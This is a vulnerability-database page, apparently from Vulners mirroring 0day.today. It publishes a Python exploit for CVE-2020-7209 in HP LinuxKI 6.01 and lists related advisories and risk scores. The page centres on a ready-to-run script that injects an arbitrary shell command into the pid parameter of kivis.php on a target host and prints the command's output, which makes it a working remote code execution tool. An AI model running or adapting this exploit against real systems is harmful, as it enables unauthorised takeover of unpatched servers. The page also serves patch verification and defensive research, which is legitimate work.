Lucene search
+L

HP LinuxKI 6.01 - Remote Command Injection Exploit

🗓️ 19 May 2020 00:00:00Reported by Cody WinklerType 
zdt
 zdt
🔗 0day.today👁 88 Views

HP LinuxKI 6.01 RCE exploit allows remote command injection via CVE-2020-7209 on vulnerable versions.

Related
Code
ReporterTitlePublishedViews
Family
0daydb
0daydb
LinuxKI Toolset 6.01 CVE-2020-7209 - Remote Command Execution
12 Jun 202013:10
–0daydb
0daydb
0daydb
Linux/x86 ASLR Deactivation Polymorphic - Shellcode
12 Jun 202013:13
–0daydb
0daydb
0daydb
Frigate 3.36.0.9 - Local Buffer Overflow
9 Jun 202013:53
–0daydb
zdt
zdt
LinuxKI Toolset 6.01 Remote Command Execution Exploit
10 Jun 202000:00
–zdt
attackerkb
attackerkb
CVE-2020-7209
13 Feb 202000:15
–attackerkb
bdu_fstec
BDU FSTEC
Linux RCE
18 Mar 202000:00
–bdu_fstec
circl
Circl
CVE-2020-7209
10 Jun 202009:57
–circl
checkpoint_advisories
Check Point Advisories
HP LinuxKI Command Injection (CVE-2020-7209)
7 Mar 202200:00
–checkpoint_advisories
cve
CVE
CVE-2020-7209
12 Feb 202023:24
–cve
cvelist
Cvelist
CVE-2020-7209
12 Feb 202023:24
–cvelist
Rows per page
Exploit Title: HP LinuxKI 6.01 - Remote Command Injection
Exploit Author: Cody Winkler
Vendor Homepage: https://www.hpe.com/us/en/home.html
Software Link: https://github.com/HewlettPackard/LinuxKI/releases/tag/v6.0-1
Version: <= v6.0-1
Tested on: LinuxKI Docker Image
CVE: CVE-2020-7209

#!/usr/bin/env python3

import requests
import argparse
import sys
import re

def parse_options():

	formatter = lambda prog: argparse.HelpFormatter(prog,max_help_position=50)
	parser = argparse.ArgumentParser(description='HP LinuxKI <= 6.0-1 RCE - CVE-2020-7209', formatter_class=formatter)
	parser.add_argument("-i", "--ip", dest='host', type=str, help="Target Hostname/IP", required=True)
	parser.add_argument("-p", "--port", dest='port', type=str, help="Target Port", required=True)
	parser.add_argument("-c", "--cmd", dest='cmd', type=str, help="Command to execute", required=True)
	args = parser.parse_args()
	return args

def main(args):

	host = args.host
	port = args.port
	cmd = args.cmd
	path = '/linuxki/experimental/vis/kivis.php?type=kitrace&pid=15;echo BEGIN;%s;echo END;' % cmd
	rce = requests.get('http://' + host + ':' + port + path, verify=False)
	output = rce.text
	a, b = output.find('BEGIN'), output.find('END')
	print(output[a+6:b])

if __name__ in "__main__":
	args = parse_options()
	main(args)

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

19 May 2020 00:00Current
9.5Critical risk
Vulners AI Score9.5
CVSS 27.5
CVSS 3.19.8
EPSS0.98751
88